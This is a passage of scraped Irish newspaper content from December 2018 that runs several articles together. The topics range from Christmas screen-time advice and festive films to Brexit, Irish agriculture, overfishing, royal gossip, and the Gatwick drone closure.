Google Maps, MyTaxi, your banking app and Facetime over the festive period? "Have a discussion about what healthy looks like to you as a family," she says. 4. Want your teens off their screens? Then lead by example "I think you have to model the behaviour you want to see," explains Goodin. "My experience is that teenagers are upset about their parents ignoring them when they're on their phones. So parents have to look at themselves first and if they're setting a healthy example around putting their phones down, they'll find their kids will follow." 5. Plan ahead and agree some guidelines If you're serious about installing some restrictions over Christmas then discuss them first with your partner or the other adults who'll be around. Agree what your policy will be so there can be no undermining of the new rules. Jones suggests instigating a 'phone amnesty', even if it's just for a specific period of time. "We all follow someone's lead so if you're trying to disconnect, that's one thing, but if all the people around you aren't doing that then it makes it a lot harder," she says. "So get the group involved. We all know it's not great for us, but technology is designed to be addictive, so it is going to be an effort to pull yourself away. The support of a group is really helpful." If any restrictions are going to affect children and teenagers, then make sure you communicate the plan well before launch day. 6. Backsliding? Don't beat yourself up Even with the best of intentions, it'll be a battle sticking to any new regime. Breaking habits is hard, so be prepared for some inevitable slip-ups along the way. If you find yourself scrolling mindlessly through Twitter but can't even remember reaching for your phone, then don't give yourself a hard time. "Don't beat yourself up about it," says Goodin. And Jones adds: "Any kind of lasting habit change is about the conversation you have with yourself. If you have a lapse, a lapse is not the same as a relapse. So if you have a lapse, think about how you talk to yourself afterwards. It's about the language you're using." 7. Be mindful of triggers Addictive behaviour is often a response to an emotional trigger, so learn to stop yourself in the moment and determine if you're reacting to something. The acronym H.A.L.T. (hungry, angry, lonely, tired) is often used in the treatment of addictions so ask yourself if you're feeling any of those things and recognise how you've responded. "Be more aware and mindful," says Goodin. "A lot of what we're doing with tech is on autopilot, it's just habitual." She suggests using your phone for a particular purpose (making a call, sending a text, posting a picture to Facebook) and then putting it away. It's the movie moments that I love most about Christmas. Love Actually, Home Alone 1 and 2 and The Holiday are up there along with sausage stuffing, frangipane mince pieces and the smell of fir and eucalyptus permeating the house. Years ago, I'd have all the movies lined up in DVD format, primed to pull out and watch over the long days of Christmas, but nowadays, I just throw on Netflix and we've been known to watch them in the middle of August. I know the movies so well by this stage, I can actually recite some of the lines - like Hugh Grant's prime minister character commenting at the beginning of Love Actually. You know the bit about whenever he gets gloomy about the state of the world, he thinks about the arrivals terminal at Heathrow Airport, the pure uncomplicated love felt as people welcome their friends and family home, where you'll find that love actually is all around. Fifteen years later, those sentiments are all the more powerful because of the complexities and fears in pro-Brexit Britain. During London Fashion Week last September, I had a Love Actually moment and took a water bus down the Thames for a better view of where the wedding scene was shot. Every time I watch the 2003 Christmas-themed romantic comedy film written by Richard Curtis, I invariably comment on the slick editing and, after a glass of Prosecco, I've been known to hurl myself off the couch at the first strains of Girls Aloud's rendition of the Point Sisters' Jump (For My Love) and boogie away, much to the amusement of my dog, as I emulate Hugh Grant bum wiggle and dance the stairs of No 10. Apparently Grant was against introducing the dance sequence in the movie, but they did it on the last day of filming and it works a treat at mixing up the emotions. I, on the other hand, do not achieve quite the same comedic effect in the space between the telly and the couch. Recently, I was taken by surprise when friends were discussing their favourite festive movies and the 'hidden clue' in Love Actually. I've watched that particular movie at least 20 times, so how did I not pick up on it when Liam Neeson's widowed character, Daniel, gets it wrong and calls Carol - his new love interest played by Claudia Schiffer - the wrong name. He only goes and calls her Karen (the name of his friend played by Emma Thompson, who he unburdens his grief to) but Claudia, I mean Carol, corrects him quickly. To hardcore Love Actually fans, it's the ultimate unwritten clue from Curtis and his scriptwriter wife, Emma Freud, that Daniel was in love with Karen. Tell me a woman, or indeed a man, who wasn't moved watching Emma Thompson crying as she listens to Joni Mitchell's 'Both Sides Now' as she faces the reality of her husband's infidelity. I was never a Joni Mitchell fan, preferring Joan Armatrading and Carole King, but that sequence never fails to move me. Nine years ago, I took myself off to New York rather than burn turkey for two. That year, 'It's Complicated' was the big movie opening on Christmas Day so we took ourselves off to watch the Nancy Meyers film starring Meryl Streep and Alec Baldwin. In spite of years of watching back-to-back films at home, it did seem just a little bit weird being in a cinema on December 25, but that didn't stop me enjoying myself. I loved it. I laughed like a drain. I wanted Meryl Streep's kitchen and each time I watch the movie now, I take even more photos of the kitchen I want one day with its sleek black panelled windows. When the hacienda-style house in Santa Barbara came on the market for gazillions of dollars, I pored over all the photographs. One day I hope to have such windows. I can picture myself in such a vaulted-ceiling kitchen, making my Christmas stuffing with cranberries and taking my frangipane mince pies out of the press, complete with Aldi box. The Holiday lets me do more property daydreaming. I love Cameron Diaz's 'house' in Pasadena, designed in the 1920s by Wallace Neff. There are movie nerds who will spot all this trivia - like when Jude Law's hair colour dramatically darkens up at the end - but I'm over analysing the nonsensical timelines in it. I'm happy out just crushing on these Christmas movies. The new Irish Ferries ship W.B.Yeats on its arrival into Dublin Port. Photo: Leon Farrell/Photocall Ireland. After months of delays and a fresh controversy over the likely axing of its Rosslare-France services next year, the WB Yeats has docked in Dublin. The 147 million ferry arrived in Dublin Port today after a journey from its German shipyard via stops in Cherbourg and Rosslare. The latter came after the surprise announcement this week that the company is "unlikely" to sail between Rosslare and France next year. "Irish Ferries wish to inform our customers that we're unlikely to operate a service between Rosslare and France in 2019," it said, offering no further clarity or certainty on its wording, despite requests for comment from Independent.ie. Instead, the 1,800-passenger WB Yeats will sail up to four times a week between Dublin and Cherbourg, a decision the company claims is due to a majority of its customers having a "clear preference" for the Dublin service. Expand Close The new Irish Ferries ship W.B.Yeats arrives into Dublin Port. Photo: Leon Farrell/Photocall Ireland. / Facebook Twitter Email Whatsapp The new Irish Ferries ship W.B.Yeats arrives into Dublin Port. Photo: Leon Farrell/Photocall Ireland. The decision - believed to be a commercial one - has created a storm of controversy and been queried by customers, politicians and hauliers. Asked why the word "unlikely" featured in its statement, or what survey or information prompted its conclusion about customers' route preferences, Irish Ferries has not offered any further clarification to Independent.ie. Yesterday, Verona Murphy, president of the Irish Road Haulage Association, said the decision would drive significantly more traffic onto the M50. "You're sending families on the way to their holidays to an industrialised port and into the congestion of the M50," she said. In a press release today heralding the "majestic" new vessel's arrival, Irish Ferries made no mention of the Rosslare controversy, nor its months-long delay - a setback caused by what German shipbuilder Flensburger Schiffbau-Gesellschaft & Co.KG described this summer as "delays in the delivery of interior components for public areas and on the electrical system installation in the hull and deckhouse". Delays were followed by the late publication of its French schedules for 2019, which recently led customers to express fear for their holidays. Built for service between Ireland, France and Britain, the 51,388-tonne WB Yeats will sail to France between mid-March and September. Read more: A draft plan outlining how Ireland will reduce emissions will have to be "significantly" altered and updated to reflect a growing level of ambition, Climate Action Minister Richard Bruton has said. The first draft of Ireland's National Energy and Climate Plan (NECP) will be submitted to the European Commission this week, but will have to include a raft of new measures before being finalised at the end of 2019. The plan analyses the impact existing policies will have on reducing emissions, including the climate measures costing 22bn set out in the National Development Plan. The analysis says that while they will reduce emissions by 22 million tonnes between now and 2030, they will only account for a third of the cuts required. "It points to the need for a significant step up if we are to deliver on our ambitions and global commitments," Mr Bruton said. "This is a draft. There will be significant changes. We will be bringing forward new policies to significantly step up our ambitions. We are now setting about nailing down what those ambitions will be." The minister said he had met with heads of Government departments this week to assess the measures that could be enacted to drive ambition. While the NECP highlights several initiatives in place - including boosting renewable energy from 30pc at present to 55pc; converting 20pc of the national fleet to electric; closing Moneypoint power station by 2025; and upgrading homes - more will be needed. Friends of the Earth director Oisin Coghlan said the new Government plan on climate "will have to be at least as strong as the Citizens' Assembly recommendations". Looking back on a year in its closing days does not always give the best perspective - it is still far too early to judge the longer-term significance of events that have just happened or are still happening. That caveat out of the way, 2018 will be a year of real historical significance if it is come to be seen as marking the beginning of a move towards a united Ireland. There are reasons to believe that is indeed the case. Northern nationalists are horrified by Brexit. Many who had backed the current constitutional status quo have shifted towards favouring a united Ireland. Some unionists - although it would be wrong to overstate the numbers - have come to question their position on the union with Britain, mostly because of Brexit, and don't look south with the same dread and disdain as they once did. One reason is economic. The Republic's economy, which has had its best year in over a decade, is in a sweet spot and continues to play to its exporting strengths. In 2018, wage growth has been strong. Unemployment has fallen back to close to 5pc of the workforce. And there is still a lot of momentum in the economy as the year draws to a close. That will help if the new year brings a shock, in the form of Brexit or the materialisation of other risks that loom threateningly on the horizon. By contrast, the economy of Northern Ireland is weaker structurally. It is not a basket case, as it is often portrayed, and it has grown over the past year, but growth was weaker than south of the Border and prosperity levels are lower. Another factor that is working to change the minds of socially liberal unionists is how society in the Republic has changed. A two-to-one vote in favour of removing the Republic's constitutional ban on abortion was bigger than almost anyone on either side expected and reflects huge societal change. In an era of intensifying culture wars, people's positions on social issues appear to be becoming more important to their overall identity. For social liberals in particular, views on these issues could be overtaking nationality as the part of their identity about which they feel most strongly. If current societal and political trends in Ireland and Britain continue, more liberal unionists may shift to supporting a united Ireland. If abortion remains a divisive issue both south and north, a matter that has been extraordinarily undivisive in the Republic has been one of the biggest foreign policy calls in the history of the State. The decision of the Government and its 26 EU peers to demand a Brexit border backstop from Britain was not only widely supported over the course of the year, it was hardly questioned. This column has been in the lonely position of arguing that it was a mistake and that it could cause a no-deal Brexit. I hope to be proved wrong on that in 2019, but as of now a perilous situation is looming at the end of March. If Brexit brought excessive consensus to the Republic, it has done the opposite in Britain. The turmoil over the matter seems to have no end. Two and half years on from the referendum on Britain's EU membership, and just 99 days away from the scheduled date of departure, Brexit has caused divisions in British politics unlike any other issue in living memory. The rest of Europe has looked on with increasing bewilderment. But it is not as if the continent doesn't have its own share of problems. Despite another decent economic performance - a sixth consecutive year of expansion was clocked up and employment in the EU reached all-time record levels - politics has continued to sour. The great hope of the political centre - Emmanuel Macron - looks to be a busted flush. Elected just 18 months ago, his poll ratings have collapsed. The latest bout of yellow vest protests were among the most violent in decades, and that is saying something for a country that takes to the streets more than any other in Europe. Support for political extremists continues to grow in line with popular anger. One sometimes wonders if the Fifth Republic will have to collapse before the French can be content with themselves. The year brought what could be a turning point in another of the continent's big countries. Italians elected a Trumpian government in the spring. Unlike Macron, the two populist parties which formed a coalition administration continue to do well in the polls. They have done so despite an already weak economy sliding back towards yet another recession. With massive public debt, Italy is close to going Greek. The really big story in Europe in 2019 may well not be Brexit, but a re-eruption of the euro crisis with its epicentre in Rome. In the continent's most powerful country, Germany, the slow changing of the guard began in 2018. Angela Merkel, by a distance democratic Europe's longest-serving premier, stepped down as leader of her party in the autumn, even if she plans on remaining chancellor until the next election in 2021. Her stance on immigration was central to her resignation. It is an issue that now concerns more Germans than the economy, which had yet another strong year. If there was a sign of weakness in that powerhouse economy, it was poor export growth. Foreign sales stagnated in the first nine months of the year. Part of the reason was Donald Trump. While much of the coverage on this side of the Atlantic of the US president is about trivia of little relevance to Ireland or Europe, his aggressive anti-import measures have put the global trading system at risk. For Ireland, one of the most economically open countries in the world and a poster child of globalisation, any erosion of that system would threaten an economic model that has turned the economy from a backwater to a transatlantic hub. Although there is a fragile truce between the US and the EU on trade, Trump is threatening to hit German cars going to America with new taxes. That would trigger counter-measures from Europe. The US is now Ireland's largest single export market. While most of the talk over the past year has been about the threat of Brexit, a Trump trade war threatens Irish prosperity almost as much. However, that is for the future. It will no doubt be the subject of columns in 2019. As this is my final column in these pages for this year, I'd like to wish readers a happy and harmonious Christmas. The Irish agri-food sector faces a 'catastrophic' jolt to its very being if a no-deal Brexit happens next March and there is very little it can do to help itself. Our much-talked-about temperate climate means we have ideal conditions for farming, notably beef and dairying, and we've built up a huge export industry for our surplus produce. Some 90pc of Irish beef is exported, while our dairy exports are worth in the region of 4bn. Any possible disruption to our exports will be felt right across the sector, but especially by farmers on the ground. Recent stark warnings from Meat Industry Ireland, which represents the meat processors, aren't scaremongering, but fact. If a no-deal Brexit happens, the agri-food sector will be facing a massive problem - what to do with our excess produce. While the Department of Agriculture and Bord Bia have been working in recent times on finding and opening new markets for Irish exports, the reality of the situation is that the UK is our closest and best market. We are so reliant on the UK for beef exports that industry experts say possible disruption will see meat factories close and the price of beef collapse. The UK takes 50pc of our beef exports - worth more than 1bn - and the imposition of extra tariffs onto these products, along with possible border checks, would fundamentally price us out of the market. Other sectors are even more complicated. Hundreds of thousands of litres of milk from cows in the Republic of Ireland goes to Northern Ireland to be processed daily, before making its way back down here onto supermarket shelves. Some 500,000 pigs are sent to Northern Ireland every year for processing. The logistics of any physical border checks would be nothing short of a nightmare for the industry as a whole. From processors right down to farmers, the free movement of animals, milk and processed foodstuffs is critical to the industry. If there are more than 300 refrigerated trucks of meat leaving Ireland every week to continental EU markets, 89pc via the UK, the task is mammoth. Norway and Sweden seem to have their border issues sorted, using available technology to minimise time delays. But paperwork problems can result in hours of delays. Estimates say that a two-minute delay in Dover would cause 27km queues. What would happen on the M1 as over 5,000 lorries cross this invisible Border daily? As time ticks by and a no-deal Brexit looks more likely a possible outcome, talk of checks on live animals and agri products at borders has the potential to bring our export-reliant industry to a screeching halt. Putting the brakes on the country's largest indigenous sector, which has ambitions to be worth 13bn, could see the sector crashing down and will affect far more than just farmers. A no-deal Brexit would be a hammer blow to a sector that's keeping the lights on in many parts of rural Ireland. The ocean is incredible: not only is it the origin of all life, it stores the most carbon, regulates the climate and provides us with every second breath. It is estimated the ocean has absorbed over 90pc of human-induced global warming; without it, the global temperature would have already increased by more than 30C. A staggering fact, given the risks associated with just a 2C increase. The ocean provides food and livelihoods for billions of people around the world, and if it were an economy, it is estimated that it would be the seventh largest. The value of the ocean to the Irish economy was estimated at 1.97bn in 2017, but as an island nation, the value to our culture and well-being is priceless. The ocean is an incredibly rich and dynamic ecosystem, about which we still know comparatively little - more people have been to the moon than to the deepest part of the ocean. One thing we do know is that if our exploitation is carefully managed, then the ocean can sustain countless benefits. But this is not our track record: pollution, overexploitation, acidification and marine litter are just a few of the ways we have been putting the ocean under pressure. In September 2019, the Intergovernmental Panel on Climate Change (IPCC) will publish its 'Special Report on the Ocean and Cryosphere in a Changing Climate', which is expected to make explicit the critical role of the ocean with regard to climate and the pressure we are putting it under. On Saturday, after two weeks of negotiations, COP24 - the United Nations Climate Change Conference - concluded in Katowice, Poland. Ireland, along with other states, were negotiating renewed climate pledges, or Nationally Determined Contributions (NDCs), this despite the fact Ireland is currently the worst-performing EU member state on responding to climate change. We have much to do - but our commitment to the climate and the ocean goes beyond greenhouse gas emissions. Overfishing - catching more fish than can be naturally replaced - has the greatest single negative impact on the ocean. Some 90pc of the big fish in the ocean have gone since 1950 - we have simply eaten them. And despite EU member states agreeing to an ambitious reform of the Common Fisheries Policy in 2013, the appetite for EU overfishing has continued. The UN's Food and Agriculture Organisation estimates "33.1pc (of fish stocks globally) are being fished at biologically unsustainable levels". In 2013, during Ireland's presidency of the EU, member states committed to ending overfishing by 2015, "where possible, and by 2020 at the latest". As the 2020 deadline approaches, there has been some reduction, but not enough. According to the New Economics Foundation's 'Landing the Blame: Overfishing in the Atlantic 2018', the Total Allowable Catch (TAC) awarded to Ireland was 17.8pc above scientific advice. In other words, it is overfishing. Since taking over from Simon Coveney as the minister with responsibility for fisheries, Michael Creed has presided over fishing limits that have continued overfishing to Ireland's "benefit". This has typically been celebrated as a "win" for Ireland after theatrically long negotiations in Brussels. Just two weeks ago, Mr Creed celebrated an agreement on mackerel, claiming it reflected "the scientific advice". The agreement reached is to catch 653,438 tonnes in 2019, whereas the scientific advice was to catch no more than 318,403 tonnes. This is overfishing; and it is putting unnecessary pressure on the ocean. So while Ireland was trying to recover its reputation on climate change in Katowice, the rubber meets the road as Mr Creed is representing us at the Fisheries Council in Brussels. Any decision to continue overfishing in 2019 by ministers will not only minimise the chances of realising the 2020 Common Fisheries Policy commitment, it will be another needless assault on the health of the ocean and the long-term viability of coastal communities. The preparations were akin to a Broadway show. There were daily rehearsals, with the actors poring over their lines until they were seared, word-perfect, into their memory. Songs were learned by heart, stage directions carefully choreographed, costumes tweaked, and last-minute stage fright becalmed with gentle words of encouragement. The cast of 'Hamilton' themselves could surely not have been better prepared for their stage debut. I'm talking, of course, about the Junior Infants nativity play at our local primary school, which played to a packed house on Tuesday morning. The audience of parents, siblings and grandparents - who might admittedly have been a small bit biased - declared it a triumph; nothing short of the greatest theatrical production of 2018. Mary and Joseph led from the front. The shepherds were all present and correct, none of the sheep strayed off course, the three kings were suitably regal, and the galaxy of stars - a phalanx of adorable four and five-year-olds with tinsel on their heads - smiled broadly and shone brightly in the sky. And most importantly of all, we parents were also on our best behaviour - which is not, apparently, the case at every school. Over on Mumsnet, the internet home of the perennially enraged modern mother, parents behaving badly at the annual festive production is a hot topic of debate. The site is awash with complaints about mums and dads who answer their phones mid-production, use camera phones to tape the action then plaster it all over social media without asking the other parents' permission, elbow people out of their way to get the best shot of their little darling on stage, and cheer loudly whenever their own children say a line. All told, it sounds as though some parents can be more infantile than the kids on stage, which is a shame, because while Christmas is about many things - mounting stress as the big day approaches, rushing to shop, cook and cater for the masses - for a glorious half-hour on Tuesday morning, it was all about 27 shining faces, wide-eyed with the pure delight at it all. As an antidote to the festive frazzle, I can highly recommend it. What's up with calling someone a woman? How strange modern gender politics is. The furore that erupted in the House of Commons yesterday afternoon over Jeremy Corbyn's jibe at Theresa May was telling on so many levels. Corbyn was labelled a sexist for allegedly calling May a "stupid woman" during a heated row over Brexit. Amid outraged scenes on the floor and a clamour for him to apologise, he insisted he'd actually used the phrase "stupid people" and therefore didn't need to say sorry. But hang on a second - isn't the insulting part of this jibe the "stupid" part, rather than the "woman" bit? Since when was it offensive to describe someone as female? If Corbyn was guilty of anything in this case, it was of incivility, not misogyny. Poppins doesn't need a spoonful of sex appeal I'm alarmed by the notion of Emily Blunt making Mary Poppins a bit raunchy in the newly released sequel, as she confessed this week in an interview with the 'Daily Telegraph'. I like Mary Poppins just as she is in the original Julie Andrews version; organised, no messing, and forthright. She's not really one for batting the eyelashes and who, apart from cliched middle-aged business executives with no imagination, really wants a raunchy nanny? Here's hoping Ms Blunt really was joking. Duchess of Cambridge and Princess Charlotte after the wedding of Prince Harry and Meghan Markle at Windsor Castle. PRESS ASSOCIATION Photo. Picture date: Saturday May 19, 2018. See PA story ROYAL Wedding. Photo credit should read: Andrew Matthews/PA Wire JUST DONT BE LATE: Kate Middleton, Duchess of Cambridge (centre) arrives with Princess Charlotte (right) and bridesmaids for yesterdays wedding ceremony Prince William, Duke of Cambridge and Catherine, Duchess of Cambridge, Prince Harry, Duke of Sussex and Meghan, Duchess of Sussex attend a service marking the centenary of WW1 armistice at Westminster Abbey on November 11, 2018 in London, England (L-R) Meghan, Duchess of Sussex, Prince Harry, Duke of Sussex, Prince William, Duke of Cambridge and Catherine, Duchess of Cambridge watch the RAF flypast on the balcony of Buckingham Palace, as members of the Royal Family attend events to mark the centenary of the RAF on July 10, 2018 in London, England. (Photo by Chris Jackson/Chris Jackson/Getty Images) (Photo by Chris Jackson/Getty Images) Britain's Prince William, Duke of Cambridge (L) Britain's Catherine, Duchess of Cambridge (2L), Britain's Prince Harry, Duke of Sussex and Meghan, Duchess of Sussex react during the wedding ceremony of Britain's Princess Eugenie of York and Jack Brooksbank at St George's Chapel, Windsor Castle, in Windsor, on October 12, 2018. (Photo by Owen Humphreys / POOL / AFP) (Photo credit should read OWEN HUMPHREYS/AFP/Getty Images) Meghan, Duchess of Sussex and Catherine, Duchess of Cambridge attend day twelve of the Wimbledon Lawn Tennis Championships at All England Lawn Tennis and Croquet Club on July 14, 2018 in London, England. (Photo by Clive Mason/Getty Images) 2018 still isn't finished giving us the best royal gossip we've had in years. After months of rumours of a growing rift between Kate Middleton and Meghan Markle, which began back in April in the run-up to Meghan's wedding to Prince Harry, a new chapter to their compelling story has been added. Royal sources for most major publications with ins at Kensington Palace confirmed that Kate was "left in tears" after a bridesmaid fitting for her daughter Princess Charlotte, who was part of the tiny bridal party at this year's royal wedding. One thing that was left open was why. Many speculated that because Kate had just given birth to son Prince Louis weeks before, she was particularly emotional (plausible), others took it as open season that Meghan was dictatorial when it came to the dress of a three-year-old (also plausible), but the most realisitic reason is a combination of both and PEOPLE confirms our suspicions in its latest issue. Expand Close Royal wedding / Facebook Twitter Email Whatsapp Royal wedding "There was an argument between Meghan and Kate over the fit of Princess Charlottes dress," the source said. Another insider added: "There were very few fittings for the bridesmaids. Everything was left to the last minute, and it was really stressful for everyone involved." At the time, the bride and groom were on edge dealing with the stresses of such a public wedding, but also Meghan's family drama, most notably when her father pulled out of walking her down the aisle just days before claiming he had a heart attack, just days after he was revealed to have been in cahoots with a paparazzi in order to create a more favourable of himself publicly. There were tears and tantrums from both sides and the tensions prompted Harry to quip the now-famous line, "What Meghan wants, Meghan gets." New Zealanders have expressed delight at the news that Ikea will be opening a store there in 2019. The Swedish furniture company announced last night that they are planning to grant the Ingka Group exclusive rights to explore expansion opportunities in New Zealand. The Ingka Group currently operates the IKEA business in 30 markets around the world, including e-commerce and 367 stores. Members of the public have described the news as an "early Christmas present". "Wohoo! An early Christmas present, news that IKEA is coming to New Zealand! Just need ALDI to make an announcement now and life will be complete," MP Dan Bidois said on Twitter. While the Swedish Ambassador to Australia and New Zealand, Par Ahlberger, said it celebrated the "250 years of friendship" between Sweden and New Zealand. Wohoooo! An early Christmas present, news that IKEA is coming to New Zealand!! Just need ALDI to make an announcement now and life will be complete! https://t.co/jJCWTCyDDR Dan Bidois (@dan_bidois) December 19, 2018 Foreign minister Winston Peter told Newstalk ZB suggested the news followed the government's decision to open a New Zealand embassy in Stockholm. "They had all these other years they didn't come and now they're coming," he said. The news trended on Twitter in New Zealand, with some social media users joking that it may lead to an increase in divorces. This will lead to many divorces. Have you ever tried to assemble Ikea furniture with your partner. Grim times lie ahead Caitlin Cherry (@ICaitlinCherry) December 19, 2018 A spokesperson for the Ingka Group said they hope to build a long term relationship with the island. "We are happy to meet the wish from many people for IKEA to open in New Zealand and we aim to make IKEA fully accessible, including stores and ecommerce," Tolga Oncu, Retail Operations Manager, Ingka Group said. "We see this as a long-term commitment and investment in New Zealand, building relationships with customers, suppliers and future co-workers." While an Ikea spokesperson said they plan to make the brand a well-loved one among New Zealanders. "Ingka Group has a lot of experience operating the IKEA business across the Asia Pacific and other markets and we are very excited to bring IKEA to New Zealand together with them," said Jon Abrahamsson Ring, CEO of Inter IKEA Systems. "Together well make IKEA a loved and meaningful brand for the people in New Zealand." It is understood that further plans will be released early 2019. Cuba will leave out of its new constitution changes that would have paved the way for legal same-sex marriage, despite majority support in local assemblies, a government official said. It was a surprising twist, given public support for the reform and earlier remarks from politicians. The measure would have changed the definition of parties in a marriage from man and wife to "between two people". However, "the draft constitution will not define which parties enter into a marriage... So that is now out of constitutional reform discussions overall," Council of State secretary and drafting co-ordinator Homero Acosta was quoted as saying. The full draft constitution was put before neighbourhood and workplace assemblies for debate earlier this year. The marriage issue drew the greatest attention. "The committee proposes deferring the definition of marriage to the draft constitution, as a way to respect all opinions," Cuba's National Assembly said on Twitter. The new draft, with the changes made, will be taken up tomorrow by the National Assembly and then submitted to a popular referendum on February 24 next year. One of the main defenders of the LGBT community in Cuba is Mariela Castro, a daughter of Raul Castro and niece of Fidel. She said the fight to defend them would go on, despite the scrapping of the proposed change. "We have not yielded, nor will we yield to conservative and backward blackmail that is politically opposed to the emancipating project that is the Cuban revolution," she wrote. Ahead of its annual session, Mr Acosta told the National Assembly that 60pc of the text's articles had undergone some type of change. The commission drafting the constitution proposed an article which defines marriage "as a social and legal institution". The committee also deemed marriage "one of the forms of family organisation", which "is based on free consent and equality of rights, obligations and legal capacity of the spouses". Separately, the definition of marriage will be left to the Family Code, which will spell out who can be in a marriage. Those details will be put to a referendum vote within two years of the draft transitional provision, the National Assembly said. The definition will acknowledge that a shared life and shared family are part of a special legal construct. The failure to launch of the reform as expected comes during the term of the first post-Castro president, elected in April, Miguel Diaz-Canel. It would have marked a sea-change on the island where sexual minorities were stigmatized in the wake of the Castro revolution in 1959. Danish Prime Minister Lars Loekke Rasmussen delivers his statement on the killings of a Danish and a Norwegian woman in Morocco, in the Prime Ministers office in Copenhagen, Denmark December 20, 2018. Ritzau Scanpix/Philip Davali via REUTERS Danish intelligence said on Thursday that Islamic State may be responsible for killing two women, one from Norway and the other from Denmark, while they were camping in Morocco's Atlas Mountains. The bodies of Louisa Vesterager Jespersen, 24, from Denmark and Maren Ueland, 28, from Norway, were found on Monday in an isolated area near Imlil, on the way to Toubkal, North Africa's highest peak and a popular hiking destination. "Much now indicates that the killings could be politically motivated and thus a terrorist act," Danish Prime Minister Lars Lokke Rasmussen said at a news conference on Thursday. Morocco's general prosecutor said on Wednesday that a suspect arrested in main tourist hub Marrakech was a member of a militant group, but did not name the organisation. He also said authorities were investigating a video tape shared on social media purporting to show the killing of one of the tourists. Police in Morocco are seeking three other suspects. "The video and preliminary investigation according to the Moroccan authorities indicate that the killings may be related to the terrorist organisation Islamic State," the Danish intelligence service said in a statement. Passengers wait around in the South Terminal building at Gatwick Airport after drones flying illegally over the airfield forced the closure of the airport, in Gatwick, Britain, December 20, 2018. REUTERS/Peter Nicholls A woman waits in the departures area at Gatwick airport, near London, as the airport remains closed with incoming flights delayed or diverted to other airports, after drones were spotted over the airfield last night and this morning, Thursday, Dec. 20, 2018. London's Gatwick Airport remained shut during the busy holiday period Thursday while police and airport officials investigate reports that drones were flying in the area of the airfield. (AP Photo/Tim Ireland) Stranded passengers are seen sleeping at Gatwick Airport, Britain, December 20, 2018 in this picture obtained from social media. Ani Kochiashvili/via REUTERS ATTENTION EDITORS - THIS IMAGE HAS BEEN SUPPLIED BY A THIRD PARTY. MANDATORY CREDIT. FILE PHOTO dated 16/1/2016 of Gatwick airport which remains closed this morning after drones were spotted over the airfield last night and this morning. Photo: Gareth Fuller/PA Wire Picture taken with permission from the Twitter feed of Luke Mccomiskie showing the scene inside a plane three hours after it landed at Manchester having been diverted from Gatwick Airport which had been closed because of the sighting of drones. Photo: Luke Mccomiskie/PA Wire FILE PHOTO dated 25/2/2017 of a drone and an aircraft. Gatwick airport remains closed this morning after drones were spotted over the airfield last night and this morning. Photo: John Stillwell/PA Wire The arrivals board at Gatwick Airport this morning, showing cancelled, diverted and delayed flights, as the airport remains closed after drones were spotted over the airfield last night and this morning. Photo: Thomas Hornall/PA Wire Passengers wait around in the South Terminal building at Gatwick Airport after drones flying illegally over the airfield forced the closure of the airport, in Gatwick, Britain, December 20, 2018. REUTERS/Peter Nicholls Passengers wait around in the South Terminal building at Gatwick Airport after drones flying illegally over the airfield forced the closure of the airport, in Gatwick, Britain, December 20, 2018. REUTERS/Peter Nicholls Drone operators have deliberately targeted Gatwick Airport, causing chaos for more than 120,000 people just days before Christmas. Flights were halted at Gatwick at 9pm on Wednesday after two drones were spotted flying near its airfield, triggering the biggest disruption to its operations since a volcanic ash cloud grounded flights in 2010. Expand Close Queues of passengers in the check in area at Gatwick Airport when the airport was closed after drones were spotted over the airfield Photo: Thomas Hornall/PA Wire / Facebook Twitter Email Whatsapp Queues of passengers in the check in area at Gatwick Airport when the airport was closed after drones were spotted over the airfield Photo: Thomas Hornall/PA Wire The military has been called in after the perpetrators escaped capture for more than 22 hours. A spokesperson for the airport told Sky News that passengers "should not come to the airport for the foreseeable future including tomorrow". No indication has been given about when the UK's second busiest airport can reopen. The cancellations have impacted on a number of flights to and from Ireland. Expand Close Picture taken with permission from the Twitter feed of Luke Mccomiskie showing the scene inside a plane three hours after it landed at Manchester having been diverted from Gatwick Airport which had been closed because of the sighting of drones. Photo: Luke Mccomiskie/PA Wire / Facebook Twitter Email Whatsapp Picture taken with permission from the Twitter feed of Luke Mccomiskie showing the scene inside a plane three hours after it landed at Manchester having been diverted from Gatwick Airport which had been closed because of the sighting of drones. Photo: Luke Mccomiskie/PA Wire Ryanair released a statement this evening confirming all flights scheduled to operate to and from Gatwick on Friday, December 21, will now instead operate to and from London Stansted. Customers have been notified and are advised to check with their airline before travelling to the airport. The runway at Gatwick remains closed this evening. In a statement this evening, Gatwick chief executive Stewart Wingate said the drone flights which have shut down Gatwick Airport are highly targeted and have been designed to close the airport and bring maximum disruption in the run up to Christmas". Expand Close FILE PHOTO dated 16/1/2016 of Gatwick airport which remains closed this morning after drones were spotted over the airfield last night and this morning. Photo: Gareth Fuller/PA Wire / Facebook Twitter Email Whatsapp FILE PHOTO dated 16/1/2016 of Gatwick airport which remains closed this morning after drones were spotted over the airfield last night and this morning. Photo: Gareth Fuller/PA Wire British Prime Minister Theresa May's spokesman said those flying the drones were "irresponsible and completely unacceptable" and voiced sympathy for people having their travel plans upset just days before Christmas. Passengers flying to and from Dublin Airport have been advised to check their flight status with their airline before travelling to the airport today. A spokesperson for DAA told Independent.ie there are 14 departures to Gatwick and 14 arrivals due from Gatwick to Dublin today. Some five flights that were due to fly to Dublin from Gatwick were cancelled. Four flights which were due to depart from Dublin were also cancelled. Two Norwegian Air flights that were due to land in Gatwick from Orlando and LA have been diverted to Dublin. Ryanair flights from Dublin to Gatwick are being diverted to London Stansted until at least 2pm today, while flights from Gatwick to Dublin are cancelled until 5pm. There are fears that there will be major knock on effects for other Irish airports throughout the day - Gatwick is a top five route for each of Ireland's main airports. The airport and Gatwick's biggest airline easyJet told passengers to check before travelling to the airport as several thousand people waited there in chaotic scenes. "It's really busy. People are sitting everywhere, on the stairs, on the floors," passenger Ani Kochiashvili, who was booked onto a Wednesday evening flight, said. Police said more than 20 units were searching for the drone operators on Thursday, when the airport had expected to handle around 115,000 passengers. "At the moment we're still getting sightings of the drones in and around the airfield," Gatwick Policing Airport Commander Justin Burtenshaw told the BBC. Sussex regional police said public safety was paramount, adding in a statement: "There are no indications to suggest this is terror-related." Gatwick, which lies 50 km (30 miles) south of London, gave no indication on when it would reopen and described the situation as an "ongoing incident". There has been an increase in near-collisions by unmanned aircraft and commercial jets, heightening concerns for safety across the aviation industry in recent years. The number of near misses between private drones and aircraft in Britain more than tripled between 2015 and 2017, with 92 incidents recorded last year, according to the UK Airprox Board. "INDUSTRIAL DRONE" Gatwick Chief Operating Officer Chris Woodroofe warned that the knock-on effects from the airport closure would last for more than 24 hours. He described one of the drones as a heavy industrial model. "It's 